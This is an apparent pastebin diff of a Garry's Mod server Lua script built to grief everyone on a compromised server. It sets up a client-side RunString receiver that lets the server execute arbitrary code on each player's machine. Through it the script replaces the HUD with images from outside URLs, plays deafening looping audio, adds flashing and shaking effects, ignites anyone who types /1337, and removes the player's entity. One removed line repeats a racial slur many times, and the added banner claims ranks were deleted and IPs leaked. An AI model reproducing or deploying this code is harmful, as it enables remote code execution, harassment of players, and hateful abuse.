SHOW:
|
|
- or go back to the newest paste.
1 | util.AddNetworkString "skeleton_dancing_troll" | |
2 | ||
3 | local lol = {} | |
4 | function lol:RandomString( intMin, intMax ) | |
5 | local ret = "" | |
6 | for _ = 1, math.random( intMin, intMax ) do | |
7 | ret = ret.. string.char( math.random(65, 90) ) | |
8 | end | |
9 | ||
10 | return ret | |
11 | end | |
12 | ||
13 | lol.m_tblActions = {} | |
14 | lol.m_strImageGlobalVar = lol:RandomString( 6, 12 ) | |
15 | lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]] | |
16 | ||
17 | function lol:PushAction( intChainDelay, func ) | |
18 | self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func } | |
19 | end | |
20 | ||
21 | function lol:NextAction( pPlayer ) | |
22 | pPlayer.m_intCurAction = pPlayer.m_intCurAction +1 | |
23 | if not self.m_tblActions[pPlayer.m_intCurAction] then return end | |
24 | ||
25 | timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function() | |
26 | if not IsValid( pPlayer ) then return end | |
27 | self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer ) | |
28 | self:NextAction( pPlayer ) | |
29 | end ) | |
30 | end | |
31 | ||
32 | function lol:Start( pPlayer ) | |
33 | pPlayer.m_intCurAction = 0 | |
34 | self:NextAction( pPlayer ) | |
35 | end | |
36 | ||
37 | function lol:SendLua( pPlayer, strLua ) | |
38 | net.Start( "skeleton_dancing_troll" ) | |
39 | net.WriteString( strLua ) | |
40 | net.Send( pPlayer ) | |
41 | end | |
42 | ||
43 | function lol:SetupPlayer( pPlayer ) | |
44 | pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" ) | |
45 | end | |
46 | ||
47 | for k, v in pairs( player.GetAll() ) do | |
48 | lol:SetupPlayer( v ) | |
49 | timer.Simple( 2, function() lol:Start( v ) end ) | |
50 | end | |
51 | ||
52 | hook.Add( "PlayerAuthed", "wat", function( pPlayer ) | |
53 | lol:SetupPlayer( pPlayer ) | |
54 | timer.Simple( 10, function() lol:Start( pPlayer ) end ) | |
55 | end ) | |
56 | ||
57 | hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat ) | |
58 | if strText:sub( 1, 5 ) == "/1337" then | |
59 | pSender:Ignite( 1e9 ) | |
60 | pSender:ChatPrint( "Nop" ) | |
61 | pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] ) | |
62 | return false | |
63 | end | |
64 | end ) | |
65 | ||
66 | ||
67 | ||
68 | --Sequence stack | |
69 | --Start some tunes and steam in our assets | |
70 | lol:PushAction( 0, function( pPlayer ) | |
71 | lol:SendLua( pPlayer, ([=[ | |
72 | sound.PlayURL( "https://instaud.io/_/1QOM.mp3", "", function()end ) | |
73 | ||
74 | g_]=].. lol.m_strImageGlobalVar.. [=[ = {} | |
75 | local html = [[%s]] | |
76 | local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY ) | |
77 | local pnl = vgui.Create( "HTML" ) | |
78 | pnl:SetPos( ScrW() -1, ScrH() -1 ) | |
79 | pnl:SetVisible( true ) | |
80 | pnl:SetMouseInputEnabled( false ) | |
81 | pnl:SetKeyBoardInputEnabled( false ) | |
82 | pnl:SetSize( intSizeX, intSizeY ) | |
83 | pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) ) | |
84 | ||
85 | local PageLoaded | |
86 | PageLoaded = function() | |
87 | local mat = pnl:GetHTMLMaterial() | |
88 | if mat then | |
89 | g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl } | |
90 | return | |
91 | end | |
92 | ||
93 | timer.Simple( 0.5, PageLoaded ) | |
94 | end | |
95 | ||
96 | PageLoaded() | |
97 | end | |
98 | ||
99 | LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/450029285911298058/giphy_3.gif", "hud2", 236, 238 ) | |
100 | LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449737423765766154/FHLoNtn.png", "doritos", 236, 238 ) | |
101 | LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449736845996195841/923584721d2d6df55d78266045c9e5986d5524e8_hq.jpg", "fedora", 236, 238 ) | |
102 | LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449734978067234827/giphy_1.gif", "dew", 236, 238 ) | |
103 | LoadWebMaterial( "https://cdn.discordapp.com/attachments/432034982664601607/449733608538767360/giphy.gif", "awp", 236, 238 ) | |
104 | ]=]):format(lol.m_strImageLoadHTML) ) | |
105 | end ) | |
106 | ||
107 | --HUD swap | |
108 | lol:PushAction( 3, function( pPlayer ) | |
109 | lol:SendLua( pPlayer, [[ | |
110 | (GAMEMODE or GM).CalcView = function() end | |
111 | (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end | |
112 | ||
113 | local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" } | |
114 | for k, v in pairs(remove) do | |
115 | hook.GetTable()[v] = {} | |
116 | end | |
117 | ||
118 | local function GetWebMat( strURL ) | |
119 | return g_]].. lol.m_strImageGlobalVar.. [[[strURL] | |
120 | end | |
121 | ||
122 | hook.Add( "HUDPaint", "newhud", function() | |
123 | surface.SetDrawColor( 255, 255, 255, 255 ) | |
124 | ||
125 | if GetWebMat( "hud1" ) then | |
126 | surface.SetMaterial( GetWebMat("hud1")[1] ) | |
127 | surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 ) | |
128 | end | |
129 | if GetWebMat( "hud2" ) then | |
130 | surface.SetMaterial( GetWebMat("hud2")[1] ) | |
131 | - | surface.DrawTexturedRect( ScrW() , ScrH() - 400, 300 *(812 /600), 128 ) |
131 | + | surface.DrawTexturedRect( ScrW() , ScrH() -200, 300 *(812 /600), 128 ) |
132 | end | |
133 | if GetWebMat( "hud3" ) then | |
134 | surface.SetMaterial( GetWebMat("hud3")[1] ) | |
135 | surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 ) | |
136 | end | |
137 | if GetWebMat( "doritos" ) then | |
138 | surface.SetMaterial( GetWebMat("doritos")[1] ) | |
139 | surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 ) | |
140 | end | |
141 | if GetWebMat( "dew" ) then | |
142 | surface.SetMaterial( GetWebMat("dew")[1] ) | |
143 | surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 ) | |
144 | end | |
145 | if GetWebMat( "fedora" ) then | |
146 | surface.SetMaterial( GetWebMat("fedora")[1] ) | |
147 | surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 ) | |
148 | end | |
149 | if GetWebMat( "awp" ) then | |
150 | surface.SetMaterial( GetWebMat("awp")[1] ) | |
151 | surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 ) | |
152 | end | |
153 | ||
154 | draw.SimpleTextOutlined( | |
155 | - | "NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, NIGGERS, /n ", |
155 | + | "SERVER KILLED BY EXCOY'S SQUAD | POWERED BY INFAMOUS", |
156 | "DermaLarge", | |
157 | ScrW() /2 +math.random( -8, 8 ), | |
158 | ScrH() /2 +math.random( -8, 8 ) +64, | |
159 | Color( 255, 0, 0, 255 ), | |
160 | TEXT_ALIGN_CENTER, | |
161 | TEXT_ALIGN_CENTER, | |
162 | 1, | |
163 | Color( 0, 0, 255, 255 ) | |
164 | ) | |
165 | ||
166 | draw.SimpleTextOutlined( | |
167 | - | "C:", |
167 | + | "ALL ULX RANKS ARE DELETED, SERVER CONSOLED IS SPAMMED, IPs LEAKED", |
168 | "DermaLarge", | |
169 | ScrW() /2 +math.random( -8, 8 ), | |
170 | ScrH() /2 +math.random( -8, 8 ) +24, | |
171 | Color( 255, 0, 0, 255 ), | |
172 | TEXT_ALIGN_CENTER, | |
173 | TEXT_ALIGN_CENTER, | |
174 | 1, | |
175 | Color( 0, 255, 0, 255 ) | |
176 | ) | |
177 | end ) | |
178 | ||
179 | local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true } | |
180 | hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end ) | |
181 | ||
182 | surface.PlaySound( "garrysmod/save_load4.wav" ) | |
183 | surface.PlaySound( "vo/npc/male01/excuseme02.wav" ) | |
184 | ]] ) | |
185 | end ) | |
186 | ||
187 | --Disco time | |
188 | lol:PushAction( 10.5, function( pPlayer ) | |
189 | local idx = pPlayer:EntIndex() | |
190 | timer.Create( "beat".. idx, 0.42, 0, function() | |
191 | if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end | |
192 | pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) ) | |
193 | end ) | |
194 | ||
195 | ||
196 | lol:SendLua( pPlayer, [[ | |
197 | local emitter = ParticleEmitter( LocalPlayer():GetPos() ) | |
198 | local time = 0 | |
199 | ||
200 | hook.Add( "Think", "wat", function() | |
201 | if CurTime() < time then | |
202 | return | |
203 | end | |
204 | ||
205 | time = CurTime() +0.05 | |
206 | for i = 1, 16 do | |
207 | local part = emitter:Add( | |
208 | "particles/balloon_bit", | |
209 | LocalPlayer():GetPos() +Vector( | |
210 | math.random( -256, 256 ), | |
211 | math.random( -256, 256 ), | |
212 | 256 | |
213 | ) | |
214 | ) | |
215 | ||
216 | if part then | |
217 | local Size = math.random( 4, 7 ) | |
218 | ||
219 | part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 ) | |
220 | part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) ) | |
221 | part:SetDieTime( 4.5 ) | |
222 | part:SetGravity( Vector(40, 0, -250) ) | |
223 | part:SetLifeTime( 0 ) | |
224 | part:SetStartSize( Size /2 ) | |
225 | part:SetEndSize( Size ) | |
226 | part:SetCollide( true ) | |
227 | end | |
228 | end | |
229 | end ) | |
230 | ]] ) | |
231 | ||
232 | lol:SendLua( pPlayer, [[ | |
233 | hook.Add( "RenderScreenspaceEffects", "wat", function() | |
234 | local sinScaler = math.sin( CurTime() ) | |
235 | DrawBloom( | |
236 | 0, | |
237 | 3, | |
238 | sinScaler *math.Rand(1, 8), | |
239 | sinScaler *math.Rand(1, 8), | |
240 | 6, | |
241 | math.Rand(0.5, 2), | |
242 | math.Rand(0, 0.3), | |
243 | math.Rand(0, 0.3), | |
244 | math.Rand(0.5, 1) | |
245 | ) | |
246 | ||
247 | DrawColorModify{ | |
248 | ["$pp_colour_addr"] = 0, | |
249 | ["$pp_colour_addg"] = 0, | |
250 | ["$pp_colour_addb"] = 00, | |
251 | ["$pp_colour_brightness" ] = 0, | |
252 | ["$pp_colour_contrast" ] = 1, | |
253 | ["$pp_colour_colour" ] = 1, | |
254 | ["$pp_colour_mulr" ] = 0, | |
255 | ["$pp_colour_mulg" ] = 0, | |
256 | ["$pp_colour_mulb" ] = 1 | |
257 | } | |
258 | end ) | |
259 | ||
260 | local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH ) | |
261 | mdl:SetNoDraw( true ) | |
262 | local posCache, time = {}, 0 | |
263 | ||
264 | hook.Add( "HUDPaint", "dance", function() | |
265 | if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then | |
266 | local idx = mdl:LookupSequence("taunt_dance") | |
267 | mdl.SeqDuration = mdl:SequenceDuration( idx ) | |
268 | mdl.SeqStart = CurTime() | |
269 | mdl:ResetSequence( idx ) | |
270 | end | |
271 | ||
272 | mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration ) | |
273 | ||
274 | ||
275 | local w, h = 300, 300 | |
276 | local ang = Angle( 0, 0, 0 ) | |
277 | ||
278 | for i = 1, 32 do | |
279 | if CurTime() > time then | |
280 | posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) } | |
281 | end | |
282 | local x, y = posCache[i][1], posCache[i][2] | |
283 | ||
284 | cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h ) | |
285 | cam.IgnoreZ( true ) | |
286 | render.SuppressEngineLighting( true ) | |
287 | ||
288 | render.SetLightingOrigin( mdl:GetPos() ) | |
289 | render.ResetModelLighting( 1, 1, 1 ) | |
290 | render.SetColorModulation( 0, 0, 1 ) | |
291 | ||
292 | mdl:DrawModel() | |
293 | ||
294 | render.SuppressEngineLighting( false ) | |
295 | cam.IgnoreZ( false ) | |
296 | cam.End3D() | |
297 | end | |
298 | ||
299 | if CurTime() > time then | |
300 | time = CurTime() +0.15 | |
301 | end | |
302 | end ) | |
303 | ||
304 | surface.PlaySound( "vo/npc/male01/ohno.wav" ) | |
305 | ]] ) | |
306 | end ) | |
307 | ||
308 | --Let the beat drop | |
309 | lol:PushAction( 25.5, function( pPlayer ) | |
310 | lol:SendLua( pPlayer, [[ | |
311 | hook.Add( "GetMotionBlurValues", "wat", function() | |
312 | return 0, 0, 1, math.sin(CurTime() *13) | |
313 | end ) | |
314 | ||
315 | hook.Add( "RenderScreenspaceEffects", "ohgod", function() | |
316 | local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) | |
317 | DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) | |
318 | DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 ) | |
319 | end ) | |
320 | ||
321 | hook.Add( "PostDrawTranslucentRenderables", "ohgod", function() | |
322 | render.SetMaterial( Material("cable/blue_elec") ) | |
323 | for i = 1, 32 do | |
324 | render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) ) | |
325 | end | |
326 | end ) | |
327 | ||
328 | timer.Create( "thedrop", 0.42, 0, function() | |
329 | util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) | |
330 | end ) | |
331 | ]] ) | |
332 | end ) | |
333 | ||
334 | --EVIL TIME rip headpones | |
335 | lol:PushAction( 175, function( pPlayer ) | |
336 | lol:SendLua( pPlayer, [[ | |
337 | surface.PlaySound( "vo/npc/male01/gethellout.wav" ) | |
338 | ||
339 | local sounds = {} | |
340 | for i = 1, 4 do | |
341 | sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan ) | |
342 | sounds[#sounds +1] = pChan | |
343 | end ) | |
344 | end | |
345 | ||
346 | timer.Create( "asdf", 1, 0, function() | |
347 | if #sounds ~= 4 then return end | |
348 | timer.Destroy( "asdf" ) | |
349 | for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end | |
350 | end ) | |
351 | ||
352 | hook.Add( "HUDShouldDraw", "newhud", function() return false end ) | |
353 | ]] ) | |
354 | ||
355 | pPlayer:Remove() | |
356 | end ) |